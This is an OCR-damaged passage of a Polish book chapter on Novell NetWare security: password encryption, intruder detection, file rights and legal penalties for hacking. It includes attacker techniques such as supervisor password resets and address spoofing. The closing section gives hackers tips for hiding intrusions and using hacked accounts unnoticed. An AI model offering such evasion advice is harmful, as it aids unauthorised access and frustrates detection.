prawnos$ci wszystkich wystepujacych haset. W duzych przedsigbiorstwach konta
standardowe moga by¢ niebezpieczne ze wzgledu na liczbg uzywanych kont.

Resetowanie niskiego poziomu to metoda wprowadzona przez firm¢ Novell, ktora

miata na celu zaprezentowanie uzytkownikom sposobu uzyskania dostgpu do ser-
wera po utracie hasta przez superuzytkownika. Sposob ten polegat na wykorzystaniu

C:\WINDOWS\Pulpit\Szymon\hakerzy\r02b.doc 197



198

Hakerzy....

DOS-owego narzedzia programowego uzywanego do odczytu danych z dysku tzw.
edytora sektorow 1 wykorzystanie go w celu otrzymania dostgpu do tablicy alokacji
plikow (FAT). Program edytora po ponownym uruchomieniu przywraca wartos¢
domyslng bazy Bindery, dzigki czemu guest i superuser nie zostaja przypisane ha-
sta. W przypadku usunigcia konta superuzytkownika lub jego znieksztatcenia meto-
da ta pozwalata na uniknigcie czyszczenia dysku serwera.

Trzeba jeszcze parg stow poswigei¢ tamaniu haset i ich ochronie. Jak wiadomo, do-
step do pliku haset w systemie NetWare nie jest bezposredni. Wszystkie obiekty oraz
ich cechy przechowywane sa w plikach bazy Bandery (np. drukarki, indywidualne
konta czy grupy, a przyktadem cech obiektu moze by¢ hasto konta, lista cztonkow
grupy, nazwa uzytkownika). W systemie 2.x i 3.x plik bazy Bandery ma atrybuty
Hidden i System. Sa one umieszczane w podkatalogu SYSTEM woluminu SYS.

Najlepsza metoda ochrony jest uaktywnienie systemu wykrywanie intruzéw (IDS).
Gdy opcja ta jest wylaczona i sie¢ umozliwia stosowanie haset zaszyfrowanych, to
haker moze si¢ do niej wtamacé. Kiedy wykrywanie intruza jest wylaczone, haker do
odgadnigcia hasta moze uzy¢ techniki brutalne;j.

W celu ochrony firma Novell stosuje szyfrowanie hasel (wersje starsze przesytaty
hasta niezaszyfrowane, czego skutkiem mogto by¢ podejrzenie hasta w momencie
transmisji). Aby uzyskac lepsze zabezpieczenie sieci wprowadzono kontrolowanie
transmitowanych haset przez administratora.

Blokowanie kont uzytkownikow

198

Ataki brutalne i stownikowe naleza do najczgstszych atakéw wymierzanych w sieci
komputerowe. Po okreslonej liczbie nieudanych logowan system NetWare domyslnie
nie blokuje identyfikatora uzytkownika, cho¢ mozliwo$¢ taka ma superuzytkownik.

Wyrézniamy nastepujace opcje wykrywania intruza:

¢ Detect Intruder — w przypadku ustawienia wartosci YES uaktywnia proces
monitorowania nieautoryzowanych logowan;

¢ Incorrect Login Attempts — pole zawierajace liczbg niepoprawnych logowan,
ktére system zaakceptuje zanim zablokuje identyfikator uzytkownika;

¢ Lock Account After Detection — po ustawieniu warto$ci YES w tym polu
system zablokuje identyfikator uzytkownika, gdy kolejne proby logowania si¢
przez hakera lub uzytkownika przekrocza maksymalna liczbg mozliwych
logowan w poprzednio wymienionym polu (jezeli wystapi poprawne logowanie
licznik prob nieudanych logowan jest zerowany);

¢ Bad Login Retention Time — po kazdym udanym logowaniu zawarty w tym
polu czas powoduje zapamigtanie poprzednich prob dostepu.

Przedstawione ponizej atrybuty plikow i katalogdw zastepuja rownorzgdne poziomy
dostepu:
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¢ X — uniemozliwia kopiowanie plikow;
¢ D — uniemozliwia usuwanie katalogow lub plikow;
¢ RO — uniemozliwia usuwanie, zmiang nazw i nadpisywanie plikow;

¢ R —uniemozliwia zmiang nazw katalogow lub plikow.

Wazna role w zarzadzaniu siecia odgrywaja administratorzy, superuzytkownicy
i superuzytkownicy rownowazni. Najwyzszy poziom dostgpu w sieci posiadaja su-
peruzytkownicy, ktdrzy przyznaja uzytkownikom dostep do plikow i katalogow. Do
zarzadzania wigkszo$cia elementow 1 funkcji systemu administratorzy wykorzy-
stuja program syscon. Administratorzy, ktorzy posiadaja prawa supreuzytkownikow
indywidualnie dla kazdego uzytkownika przy uzyciu tego programu ustalajg para-
metry zwiazane z kontrola hasel. Nie nalezy uzywaé konta superuzytkownika
z wyjatkiem najbardziej istotnych operacji dostgpu. Ryzyko wlamania zwigksza po-
zostawienie zalogowanego superuzytkownika.

Do zmiany praw i haset jedynie superuzytkownik moze uzywaé programu syscon,
jednakze uzytkownicy posiadaja mozliwosci przegladania informacji. Wyzej
wspomniany program wyswietla szereg okien udostgpniajacych parametry zabez-
pieczajace hasta. NetWare pozwala na uzywanie powtarzajacych si¢ znakow, jednak
nie umozliwia syperuzytkownikowi ogladania haset uzytkownikow. Minimalna
dlugos¢ hasta wynosi osiem znakow.

Do obowiazkow administratora nalezy:
Uaktywnienie zablokowanych identyfikatorow;
Uaktywnienie zapomnianych hasel;

*
*
¢ Usuwanie dostepu po odej$ciu uzytkownika z pracy oraz zmiany stanowiska;

¢ Monitorowanie zmian w przywilejach i uprawnieniach dostgpu przyznawanych
przez administratora uzytkownikom w celu stwierdzenia, czy zmiany te sa

odpowiednie dla uzytkownika;

¢ Okresowe przegladanie przywilejow i uprawnien dostgpu uzytkownika w celu
stwierdzenia, czy poziomy dostgpu s poprawne.

Dane dotyczace zabezpieczen przechowywane sa przez system w pliku bazy da-
nych, ktory jest zaszyfrowany i zablokowany. Nie nalezy go modyfikowac.

Warto rowniez przedstawi¢ kwesti¢ ograniczenia stacji roboczych, ktore wskazuja
miejsca, z jakich uzytkownik posiada dostgp do swojego konta. Moga odnosic sig
réowniez do segmentu sieci Token Ring czy Ethernet badz jakiego$ adresu wezla.
Sposobem pozwalajacym na obejscie wyzej wymienionych ograniczen jest sfat-
szowanie adresu stacji roboczej w pierscieniu czy segmencie, gdzie nastapito wia-
manie i uzyskanie dostgpu do konta przez hakera. Ograniczenia stacji roboczych
moga by¢ zmienione wylacznie przez superuzytkownika albo przez uzytkownikow
mu réwnowaznych.
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Oprocz ograniczen stacji roboczych moga by¢ stosowane ograniczenia czasowe wy-
korzystywane w celu sprecyzowania czasu, w jakim uzytkownik moze si¢ zalogo-
wac. W momencie kiedy nadchodzi czas wylogowania si¢ uzytkownika z systemu,
operacja ta jest natychmiastowo przeprowadzana. Jezeli na stacji roboczej zostanie
zmieniona godzina, nie pozwoli to na ominigcie blokady. Ograniczenia czasowe sa
narzucane przez superuzytkownika i moga zosta¢ zmienione przez niego lub przez
uzytkownikéw mu rownoleglych. Gdy uzytkownik nie ma potrzeby logowania si¢
w roznych godzinach i na réznych terminalach, to ograniczenia stacji roboczych
1 ograniczenia czasowe sa przypisywane wszystkim uzytkownikom sieci. Operacja
ta przeprowadzana jest celowo, by zmusi¢ wlamywacza do zalogowania si¢ na sta-
cji roboczej, podczas ktdrego serwer rozpoznaje dana stacj¢ i czas logowania.

Gdy jednak wltamywacz uzyska dostep do sieci, jego celem staje si¢ chec posiadania
dostgpu do plikdéw i katalogéw nieosiagalnych z biezacego poziomu zabezpieczen.
Bardzo czgsto zdarza sig, ze hakerzy wlamuja si¢ na konta zwyktych uzytkowni-
kow, a dopiero pdzniej rozszerzaja swoj dostgp na obszary, w ktorych wyrzadzone
przez nich szkody moga by¢ ogromne.

Wigkszos¢ hakerow ukrywa §lady swojej dzialalnosci za pomoca programu filer.
Wchodzi on w sktad systemu NetWare i pozwala na dokonanie zmian w jakims$ kon-
kretnym pliku i ponowne zapisanie. Najczgsciej modyfikowanymi plikami sa nlm i
autoexec.ncf-

Jezeli haker uzyska prawa dostgpu umozliwiajace modyfikacje atrybutow plikow,
to pliki beda wygladaty na nienaruszone, a sposobem ich weryfikacji bedzie spraw-
dzenie kazdego z nich.

Hakerzy lub inni uzytkownicy moga wprowadzi¢ réwniez konie trojanskie. Po wy-
konaniu okreslonych czynnosci program taki moze si¢ sam usuna¢ lub wykonywac
nadal te same operacje po kazdym uruchomieniu go, co umozliwia hakerowi dhu-
gotrwaly dostgp do systemu. Sieci NetWare uzywaja systemu plikow NFS systemu
Unix do zdalnego montowania réznych systemow plikow. Wykorzystywanie tego
pozwala uzytkownikom na dostgp do danych bez konieczno$ci logowania si¢ na
serwerze badz uruchamiania protokotu IP. Jezeli prawa pliku NFS ustawione sa
niewlasciwie, wlamywacz moze uzyska¢ dostgp do serwera. NFS pomaga w dota-
czaniu sieci NetWare do systemu Unix i na odwrét. Trudno jest jednak administrowac
nim, gdyz konta uzytkownikéw w przypadku obu systemoéw musza posiadac te sa-
me hasta. Jezeli pliki konfiguracyjne NFS zostana usunigte z pamigci, a nastgpnie
ponownie wczytane, to system zamontowany ze strony Uniksa udostgpnia katalog
SYS:ETC tylko do odczytu. Jezeli dostgp do powyzszego katalogu przez Unix jest
bezposredni (bez zabezpieczenia hastem), haker moze przeglada¢ pliki .ncf'i .cfg,
jezeli jest dostepny z systemu Unix. Informacja dla wlamywacza o taczeniu si¢ serwera
z komputerami glownymi systemu Unix jest obecno$¢ na serwerze pliku NFS.

Kazdy uzytkownik ma swoje prawa, ktore jak wiadomo zmieniaja si¢ w zaleznosci
od katalogu. Nalezy sprawdza¢ ich list¢ w celu zabezpieczenia si¢ przed wlamywa-
czem, ktory moze uzy¢ naszego konta, aby uzyskaé dostep do sieci. pozwala na to
jest polecenie whoami/ r. Maski praw zwracane przez to polecenie to:
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¢ SRWCEMFA — sato wszystkie znaczniki praw, ktore oznaczaja, iz posiadamy
pelne prawa;

¢ Sxxxxxxx — oznacza to, ze posiadamy peine prawa do danego katalogu
i jego podkatalogdw i nie mozemy ich utracié;

& xxxxxxxA — jest to prawo niemal tak silne jak S i oznacza kontrolg nad
katalogiem biezacym i jego podkatalogami; kontrola dostgpu moze zostaé
cofnigta, lecz mozna wykorzysta¢ prawa dziedziczone w celu jej odzyskania;

¢ RF — komunikat oznaczajacy jedynie posiadanie prawa do odczytu plikow;
prawo to powinno by¢ przypisywane uzytkownikom w odniesieniu do katalogu
zawierajacego oprogramowanie;

¢ RCWEMFx — to prawa, jakie powinien posiada¢ uzytkownik do swojego
katalogu, w ktorym moze odczytywaé, tworzy¢ i modyfikowac pliki;

¢ RxWF — jest to komunikat informujacy o tym, ze przechowywane sa
w katalogu pliki rejestracyjne.

Poza ochrona plikoéw i katalogdw wazna jest rowniez ochrona przestrzeni dyskowe;.
Czgsto administratorzy zapominaja o tym, dajac w ten sposob kazdemu uzytkowni-
kowi prawo zapisu, dzigki czemu haker moze uzywac wigkszej ilosci zasobow.
W niektorych systemach ograniczenia przestrzeni dyskowej stosowane sa w obrgbie
jednego woluminu, na ktorym znajduja si¢ katalogi wtasne, a aplikacje i pliki sys-
temowe przechowywane sg na innych woluminach. Ze wzgledu na to, Zze niektore
aplikacje wymagaja prawa zapisu w swoich katalogach, nieograniczenie przestrzeni
woluminu prowadzi do mozliwosci uzywania przez uzytkownikow dodatkowej
przestrzeni dyskowe;.

Hasla i sposoby ich szyfrowania
w systemie NetWare

Hasto przesylane ze stacji roboczej do serwera plikow jest automatycznie szyfro-
wane w trakcie logowania si¢ do sieci systemu NetWare. Nie pozwala to hakerom
na uzycie wykrywaczy hasel oraz przegladanie pakietow w sieci lokalnej, ktore row-
niez zawieraja hasta uzytkownikéw. Proces szyfrowania hasta odbywa si¢ w szesciu
nizej wymienionych etapach:

¢ Stacja robocza zada od serwera klucza sesji;
¢ Serwer przesyta do stacji roboczej unikatowy 8-bajtowy klucz sesji;

¢ Stacja robocza szyfruje hasto identyfikatorem uzytkownika
(otrzymujemy w ten sposob 16-bajtowa liczbg);

¢ 16-bajtowe hasto, ktére zaszyfrowane jest identyfikatorem uzytkownika serwer
zapisuje w pliku bazy Bindery;

¢ Stacja robocza szyfruje 16-bajtowa warto$¢ przy uzyciu 8-bajtowego klucza
sesji (otrzymujemy zaszyfrowang warto$¢ o dtugosci 8 bajtow);
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¢ Stacja robocza przesyla do serwera zaszyfrowana 8-bajtowa wartos¢;

¢ Serwer wykonuje niezaleznie powyzsze czynnosci i porownuje wynikowa
wartos$¢ z wartoscia przestana przez uzytkownika (jezeli wartosci te sa
identyczne, zatwierdza poprawnos¢ logowania).

Sposobem $§ledzenia niepoprawnych haset w systemie jest wykrywanie intruza.
Opcja ta jest domyslnie wylaczona. Wczesniejsze uaktywnienie uruchamia brze-
czyk w serwerze podczas nieudanego logowania. Wystepuje mozliwos¢ skonfigu-
rowania tej opcji tak, aby po kolejnej probie nieudanych logowan konto ulegto za-
blokowaniu.

Ataki stlownikowe i brutalne

202

Zaréwno ataki stownikowe, jak i brutalne wymagaja dostgpu do sieci przez dlugi
czas 1 sg nieskuteczne w przypadku wlaczenia opcji wykrywajacej intruza w syste-
mie. Ataki stownikowe sa bardziej niebezpieczne od brutalnych ze wzgledu na to,
ze haker moze skopiowa¢ pliki haset do swojego komputera i sprawdza¢ na nim
poprawnos¢ hasta zamiast wyprobowywac je w systemie. Najlepszym zabezpiecze-
niem przed atakami stownikowymi jest czgsta zmiana hasel, uzywanie haset zawie-
rajacych symbole, cyfry i litery i sktadajacych si¢ z co najmniej o$miu znakow.
Atak brutalny dokonywany jest przy uzyciu programu, ktory odgaduje hasta w spo-
sob ciagly. Haker stara si¢ uzyska¢ hasto uzytkownika posiadajacego niski poziom
uprawnien. Jezeli opcja wykrywania intruza jest wylaczona, to haker moze odga-
dywa¢ hasta az do wprowadzenia wlasciwego. Program, ktory przeprowadza ataki
brutalne jest rowniez dostgpny w Internecie. Podaje on hasta np. aa, ab, ac az do
momentu odkrycia wlasciwej kombinacji literowej, czego wynikiem jest uzyskanie
hasta. Atak ten wymaga duzej ilo$ci czasu i dostgpu do komputera. Wazne jest
réwniez zabezpieczenie konsoli serwera, gdyz wlamywacz moze wprowadzi¢ pole-
cenie wylaczajace sprawdzanie hasel przez serwer, a uzytkownicy nie wiedzac
o tym, beda starali si¢ wprowadzi¢ hasta. Uzytkownicy stacji roboczych starajacy
zalogowac si¢ na koncie zabezpieczonym hastem (np. konto superuzytkownika)
dokona¢ tego moga bez weryfikowania hasta przez serwer. Owa konsolg powinno
si¢ zabezpieczy¢ przed dostgpem jakichkolwiek osob. Rownie dobrym zabezpie-
czeniem sa mechanizmy kontrolujace dostgp do serwera. Zabezpieczenie konsoli
jest najwazniejsza operacja przeprowadzana w celu zapewnienia bezpieczenstwa
sieci NetWare. Jezeli opcja wykrywania intruza jest wlaczona, to na konsoli syste-
mu bedzie wlaczany brzgczyk, a w pliku rejestrujacym bledy serwera zostanie za-
rejestrowana data i godzina wykrycia proby wlamania do systemu. Jest to latwa
metoda wykrycia i pozbycia si¢ hakera. Bardzo niebezpieczna jest sytuacja, gdy
wilamywacz posiada zaréwno fizyczny dostep do konsoli, jak i do sieci na poziomie
superuzytkownika. Jezeli jest wykorzystywane srodowisko Windows 3.11 lub now-
sza jego wersja, uruchamiany zostaje plik conlog.nim, ktoérego zadaniem jest prze-
chwytywanie komunikatow konsoli. Gdy haker uruchomi na konsoli program stpwd,
to w pliku rejestracyjnym conlog.nlm zapisana zostanie odpowiedz setpwd. Haker
moze z tatwoscia obejs$¢ to zabezpieczenie, uzyskujac dostgp do interesujacych go
informacji z konsoli serwera, nie zostawiajac przy tym zadnego $ladu swojej obec-
nosci. Dlatego wtasnie nalezy fizycznie zabezpieczac serwer.
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Walory NetWare:

L4

Jadro wielozadaniowe systemu — umozliwia pracg serwera w trybie
wielodostgpnym oraz sprawno$¢ systemu przy duzym obciazeniu,

Buforowanie dyskow — system przechowuje zawarto$¢ czgsto odczytywanych
plikow w podrgcznej pamigei na serwerze, co zwigksza tempo procesu,
a w buforze gromadzone sa dane z przewidywaniem kolejnych zadan odczytu;

Przeszukiwanie cylindryczne — operacje odczytywania dysku obstugiwane sa
przez osobny proces pobierajacy dane z dysku twardego serwera, umieszczajac
je nastepnie w buforze; zadanie odczytu uzaleznione jest od potozenia gtowicy
dyskow 1 ustawiane w kolejnosci (gdy na realizacj¢ oczekuja trzy zadania,

a dane dla trzeciego zadania sa najblizej aktualnej pozycji gtowicy dyskowe;j,
zostana pobrane jako pierwsze, a jesli dane dla Zadania drugiego sa nastgpnymi
po drodze przesuwu glowicy, zostana pobrane jako nastgpne); wyszukiwanie
to optymalizuje ruchy glowicy i daje duza przepustowos$¢ w przypadku wielu
zadan dostepu do dysku;

Zapis w tle — operacje zapisywania danych na dysku w systemie stanowia
odrebne procesy (rozdzielenie funkcji odczytu i zapisu umozliwia zapisywanie
danych w tle podczas zmniejszonej aktywnosci w sieci);

Indeksowane tablice alokacji plikow — system NetWare lokalizuje pliki na
sieciowych dyskach za pomoca tablic FAT (gdy na dysku serwera zapisywane
sa duze pliki, przez system indeksowana jest tablica FAT, dzigki czemu
powstaje mozliwos¢ szybkiego odszukiwania danych, a w rezultacie —
szybszy odczyt informacji z dysku);

Wyszukiwanie na zaktadkg — jezeli wystepuje kilka kanatéw dyskowych

na serwerze, wyszukiwanie na zaktadkg w tym przypadku pozwala

na roéwnoczesny dostep na dysku w kilku kanatach (po jednym dysku na kanat);
dostep do kazdego dysku jest kontrolowany odrebnie.

Elementy gwarantujace niezawodnos¢ NetWare:

*

Weryfikacja po zapisie — po operacji zapisu system odczytuje dane
sprawdzajac ich poprawnos¢;

Duplikowanie tablic FAT — duplikat tablicy FAT jest przechowywany przez
system, dzigki czemu uszkodzenie tablicy nie prowadzi do utraty dostepu
do danych przechowywanych na dysku;

Duplikowanie katalogdéw — w systemie przechowywany jest duplikat struktury
katalogu gtéwnego (jezeli owa struktura ulegnie uszkodzeniu, to dostgp do sieci
zapewni uzytkownikom kopia zapasowa);

SFT (System Fault Tolerance) — sa to funkcje zabezpieczajace dane, takie jak
lustrzana konfiguracja dyskow, system $ledzenia transakcji TTS (Transaction
Ttancking System) czy dupleksowanie dyskow;
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¢ Biezaca korekta — to funkcja wykrywania i korygowania defektoéw nosnika
(jezeli wadliwy blok zostanie wykryty na dysku serwera plikowego podczas
operacji zapisu, dane przemieszczone zostang do innego obszaru na dysku,
a lokalizacja tego blednego bloku zostanie zapisana w tablicy blokow
wadliwych dysku);

¢ Dyski twarde pracujace w konfiguracji lustrzanej duplikuja swa zawartos¢
i obstugiwane sa za posrednictwem tego samego kontrolera (informacje
zapisywane na dysku pierwotnym przez serwer s rowniez zapisywane
na dysku wtornym i jezeli dysk pierwotny ulegnie awarii, zastgpuje go dysk
wtorny).

Zadaniem systemu TTS jest utrzymanie spojnosci w wielodostgpnych bazach da-
nych. Zmiana zawarto$ci bazy danych jest postrzegana przez system jako pewna
transakcja, ktora jest w toku lub zostata zakonczona. Gdy podczas transakcji system
ulegnie awarii, to system TTS przywraca w bazie danych poprzedni stan (sprzed
rozpoczgcia transakcji). Operacja ta jest zwana operacja automatycznego cofnigcia
transakcji (roll-back). TTS przechowuje zapis historii wszystkich transakcji, co po-
zwala na odtworzenie transakcji cofnigtej (roll-forward). Poza tym w wypadku zu-
pelnej awarii wszystkie dane moga zosta¢ odzyskane.

System NetWare posiada program security, ktory dostarcza informacji na temat
sposobow zainstalowania zabezpieczen przez superuzytkownika. Informacje te po-
zwalaja upewniC sig, czy wszystkim identyfikatorom sg przypisane hasta i czy hasto
uzytkownika nie jest takie samo jak jego identyfikator. System posiada rowniez
program filer umozliwiajacy okreslenie praw efektywnych uzytkownika do okre-
slonego katalogu i pliku. Nie uwzglednia on jednak atrybutow katalogdéw i plikow,
ktore maja znaczenie nadrzedne w stosunku do przypisan i filtru IRF. Program filer
jest uzyteczny podczas sprawdzania tego, czy haker lub inny nieautoryzowany
uzytkownik nie uzyskat dostgpu do zabezpieczonego katalogu. W 1983 roku Novell
wprowadzit do sieci lokalnych koncepcje nazw uzytkownikow, profili uzytkowni-
kéw 1 hasel. Hasta przechowywane sa na dysku sieciowym w postaci zakodowane;j.
Osoba, ktora zarzadza siecia ma prawo narzucenia uzytkownikom okresowej zmiany
hasta. Wystepuje szyfrowanie haset (stowa kluczowe sg szyfrowane nawet podczas
przesytania ich ze stacji do serwera, by unikna¢ podstuchiwania i prob odszyfrowa-
nia). Profil uzytkownika okresla natomiast dostep do zasobow i prawa, jakie on po-
siada. Administrator sieci moze okresli¢ czas (godziny i daty) i miejsca, z jakich
uzytkownik moze zalogowaé si¢ do sieci. O probie niepoprawnego dostgpu infor-
muja administratora procedury detekcji i blokady kont. Podczas gdy serwer syste-
mu NetWare pracuje w trybie niededykowanym, uzytkownik musi zalogowac¢ si¢
do sieci (pomimo, ze uzywa serwera jako stacji roboczej). Prowadzi to do tego, ze
kazda forma dostgpu do danych przebiega pod kontrola mechanizméw ochronnych
sieci. Pod wzgledem bezpieczenstwa wszystkie stacje robocze sa réwnoprawne
(niezaleznie od dzialajacego na nich systemu operacyjnego), za$ mechanizmy
ochronne znajduja zastosowanie we wszystkich systemach operacyjnych stacji.
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Systemy operacyjne zaspokajaja potrzeby odbiorcéw na réoznych poziomach, i tak:

¢ Personal NerWare to system niedrogi i prosty obstugujacy sie¢ wielkosci od 2
do 50 uzytkownikéw. Zapewnia on podstawowe funkcje sieciowe i powstat
z mys$la o uzytkownikach, ktoérzy po raz pierwszy maja do czynienia z sieciami
komputerow PC;

¢ NetWare 3.11 SFT III (oparty na systemie NetWare 3.11) zawiera dodatkowo
poziom ochrony, ktéry umozliwia umieszczenie dodatkowego serwera w sieci
(gdy glowny serwer ulegnie uszkodzeniu, wtedy rezerwowy przejmuje jego
funkcje, eliminujac przestoj);

¢ NetWare 3.12, wykorzystywany w firmach matej i sredniej wielko$ci, stanowi
bardziej sprawna wersj¢ od poprzedniej, gdyz zawiera elementy, takie jak
NetWare for Macintosh dla pigciu uzytkownikow i podstawowe mechanizmy
przesytania wiadomosci (MHS);

¢ NetWare 4.02 posiada mozliwosci wersji 3.12 oraz nowe rozwiazania, dzigki
ktorym uzytkownicy posiadaja mozliwos¢ szybkiego dostgpu do danych
w calej sieci — rozbudowane funkcje zabezpieczajace, ulepszone narzg¢dzia
do administracji i zarzadzania systemem NetWare Directory Services.

Stabe punkty zabezpieczen NetWare

Najwazniejsza czynno$cia, ktora nalezy wykona¢ w celu obrony przed atakami ha-
kerow jest zabezpieczenie serwera. Wazna rzecza jest zdanie sobie sprawy z tego,
iz to pracownicy firmy, a nie osoby z zewnatrz stanowia najczgsciej zagrozenie dla
danych. Fizyczne zabezpieczenia serwera nalezy do najlatwiejszych operacji maja-
cych na celu ochrong serwera. Ten charakter zabezpieczen jest powszechnie zanie-
dbywany przez wigkszo$¢ administratorow.

Serwer nalezy wiec umiesci¢ w oddzielnym pomieszczeniu, ktore jest nieustannie
kontrolowane. Stosowanie tego zabezpieczenia uniemozliwia hakerowi dostgp do
serwera. Najwazniejsze pliki powinny by¢ przechowywane w wydzielonym miejscu
niedostgpnym z sieci. Ich sprawdzanie jest czynno$cia bardzo wazng, poniewaz haker
moze je podmieni¢ na inne, uzyskujac dostep do catego serwera. Haker moze rowniez
zmieni¢ pliki konfiguracyjne NetWare lub pliki skryptow logowania w celu obejscia
zabezpieczen.

W celu ochrony przed atakami powinna by¢ tworzona lista uzytkownikéw i grup
w sieci. Do utworzenia tej listy nalezy uzy¢ programu syscon. Lista powinna by¢
stale uaktualniana. Nalezy rowniez sprawdza¢, czy nie zawiera ona kont o dostgpie
superuzytykownika np. printer lub guest.

System wyposazony jest w program rconsole, ktory przeznaczony jest dla syperu-
zytkownikow. Pozwala on na monitorowanie sieci na poziomie serwera bez ko-
niecznos$ci korzystania z komputera serwera. Do zalogowania si¢ w programie ko-
nieczne jest wprowadzenie hasta rconsole, ktore w postaci zaszyfrowanej
przesytane jest do serwera otwierajacego program na biezacej stacji roboczej supe-
ruzytkownika. Podczas transmisji przez sie¢ pakiet narazony jest na podejrzenie za
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pomoca monitora pakietow, ktory wykorzystywany moze by¢ przez hakera w celu
uzyskania hasta rconsole. Algorytm szyfrujacy operacj¢ logowania jest nie skom-
plikowany w zwiazku z czym haker moze fatwo ztamac¢ hasto rconsole uzytkownika.
Wszystkie pliki konfiguracyjne systemu NetWare powinny by¢ umieszczane w bez-
piecznych miejscach. Standardowo pliki konfiguracyjne (pliki.ncf) umieszczane sa
w katalogu SYS:SYSTEM. Plik uruchomieniowy systemu NetWare (autoexec.ncf)
powinien by¢ umieszczony w tym samym miejscu co serwer.exe.

Pomimo, Ze istnieje wiele sposobow wlaman do sieci NetWare, nie nalezy si¢ mar-
twi¢ o zabezpieczenia programow. Haker nie moze wykona¢ operacji wlamania, jakie
mozliwe sa w systemie Unix, gdyz:

¢ Sie¢ wezytuje odpowiednia powloke bez dostepu do serwera
(na jednym komputerze nie mozna uruchomi¢ kilku powtok);

¢ Ze wzgledu na to, ze powloka jest uruchamiana lokalnie a nie na serwerze,
wlamywacz nie moze uzyska¢ wigkszego dostgpu niz posiada;

¢ Zadne programy NetWare nie uzywaja wejécia stdin i wyjscia stdout
w zwiazku z czym hakerzy nie moga spowodowac przepetnienia stosu
(umieszczajac zbyt duzo danych);

¢ Sieci z systemem NetWare, wykorzystujac odpowiedni sprzet potaczeniowy,
moga by¢ taczone ze soba za posrednictwem pojedynczego serwera plikowego
lub poprzez komputery dziatajace jako zewngtrzne przekazniki (niemal
nieograniczona liczba serwerow moze by¢ uzywana przez sie¢ lub kilka
potaczonych sieci, a jeden uzytkownik moze by¢ potaczony z o§mioma
jednoczesnie, gdyz Novell oraz inni producenci dostarczaja ztacza
umozliwiajace dostgp do odmiennych systemow; system ten zapewnia szerokie
mozliwosci zarzadzania wspolnymi drukarkami sieciowymi, zapewnia
kompletna obstugg kolejkowania wydrukow oraz umozliwia tworzenie plikow
definicyjnych drukarek, ktore przekazuja kody sterujace do drukarek w celu
zmiany kroju pisma, marginesow);

Novell NetWare, ktory jest systemem operacyjnym, przeznaczonym do udostgpniania
plikow oraz serweré6w wydruku w sieci, posiada wlasny zestaw protokolow trans-
misyjnych, a do celow komunikacji migdzy protokotami NetWare a protokotami
Internetu wykorzystuje bramki aplikacji; cecha systemu jest takze to, ze wraz z pro-
cesorami polecen stacji roboczych kontroluje szeroki zakres informacji dotyczacych
ruchu w sieci i za pomoca odpowiednich narzgdzi (np. Monitrix, NW Ranger, TXD
czy tez Nerwork Early Warning System) moze $ledzi¢ wigkszo$¢ informacji, a na-
stepnie przekazac je uzytkownikowi.

Problemy hakerow

206

Jezeli haker bedzie nieostrozny, moze naduzy¢ niektdrych opcji i w koncu zostanie
namierzony jego IP. Jesli haker uzywa linii dzierzawionej, wystarczy donie$¢ ad-
ministratorowi o jego wyczynach. Z TP S.A. jest trudniej, gdyz trzeba zna¢ doktad-
ng godzing ataku, by namierzony zostat jego numer telefonu.
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Haking w kodeksie karnym

W dniu 1 wrzeénia 1998 roku wszedt w zycie nowy polski Kodeks Karny, ktory za-
wiera przepisy przewidujace odpowiedzialno$¢ karng za popetnienie tzw. przestepstw
komputerowych.

W rozdz. XXXIII zatytutowanym — ,,Przestgpstwa przeciwko ochronie informacji’’
znalazty si¢ normy umozliwiajace pociagnigcie do odpowiedzialnosci karnej spraw-
cOw najbardziej klasycznych zamachéw na bezpieczenstwo danych i systemow
komputerowych, takich jak: haking (art. 267 §1), podstuch (art. 267 §2), naruszenie
integralnosci komputerowego zapisu informacji (art. 268 §2) oraz sabotaz kompute-
rowy (art. 269 §112).

Do innych przepiséw, ktore przewiduja mozliwos¢ popehienia przestgpstwa przy
uzyciu ,,komputera” nalezy zaliczy¢:

& W kategorii przestepstw przeciwko mieniu (rozdz. XXXV) — nielegalne
uzyskanie programu komputerowego (art. 278 §2), paserstwo programu
komputerowego (art. 293 §1), oszustwo komputerowe (art. 287) i oszustwo
telekomunikacyjne (art. 285);

¢ Wisrdd przestepstw przeciwko wiarygodnosci dokumentow — w zwiazku
z przyjeciem przez kodeks nowej definicji prawnej dokumentu (art. 115 §14),
ktérym jest takze ,,zapis na komputerowym nosniku informacji’> —
tzw. falszerstwo komputerowe (art. 270 §1) oraz inne czyny okreslone w rozdz.
XXXIV;

¢ W rozdziale XXXV dotyczacym przestgpstw przeciwko bezpieczenstwu
powszechnemu — sprowadzenie niebezpieczenstwa dla zycia lub zdrowia
wielu osob albo dla mienia w znacznych rozmiarach, ktore jest nastgpstwem
zakldcania, uniemozliwiania lub wplywania w inny sposob na automatyczne
przetwarzanie informacji (art. 165 §1 pkt. 4).

,,Komputerowym’’ przestgpstwem przeciwko Rzeczpospolitej Polskiej (rozdz. XVII)
jest bowiem uprzywilejowana postac szpiegostwa, a czynu tego mozna si¢ dopuscic¢
wiaczajac si¢ do sieci komputerowej w celu uzyskania wiadomosci, ktorych udzie-
lenie obcemu wywiadowi moze wyrzadzi¢ szkode RP (art. 130 §2).

Ukrywanie préb wlaman

Podstawowym bi¢dem, jaki robi wigkszos$¢ ludzi po zalogowaniu sig, jest sktonnosé
do robienia dowcipow. Niejednokrotnie w grupach dyskusyjnych ludzie pisza, ze
»komputer sam si¢ wytacza”, lub ,,szufladka sama si¢ otworzyla a na pulpicie wy-
skoczyl glupi requester”. W takich przypadkach zwykle mamy do czynienia z troja-
nami. Atak jest wigc latwy do rozpoznania.

Mimo, ze uzywanie Netbusa nie jest uwazane za prawdziwe hakerstwo, to warto za-

chowac si¢ jak na prawdziwego hakera przystalo i nie zdradza¢ obecnosci w syste-
mie. Trzeba by¢ cierpliwym i nastuchiwac dhugo, a sukces bedzie gwarantowany.
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Oto gldwne przykazania:
1. Nie zostawiaj nigdzie swojego imienia, nazwiska, telefonu 1 innych danych;

2. Na zhakowanych kontach uzywaj najlepiej imion kobiecych, gdyz sa mniej
podejrzane;

3. Uwazaj z kim wymieniasz wiadomosci;
4. Nie dawaj nikomu numeru telefonu;

5. Nie hakuj komputeréw rzadowych;

6. Badz podejrzliwy;

7. Zadawaj pytania, lecz rob to delikatnie i nie licz, Zze kto§ wytlumaczy ci
wszystko od podstaw;

Dodatkowe sugestie, pomocne wtedy, gdy haker ,,wchodzi” przez Telnet na serwer.
Woweczas w logach zostanie zanotowane ,,haker@dial003.zigzag.pl”, a jesli haker,
nie majac nigdzie roota, to powinien:

¢ Skorzystac z dial-upu TPSa ;

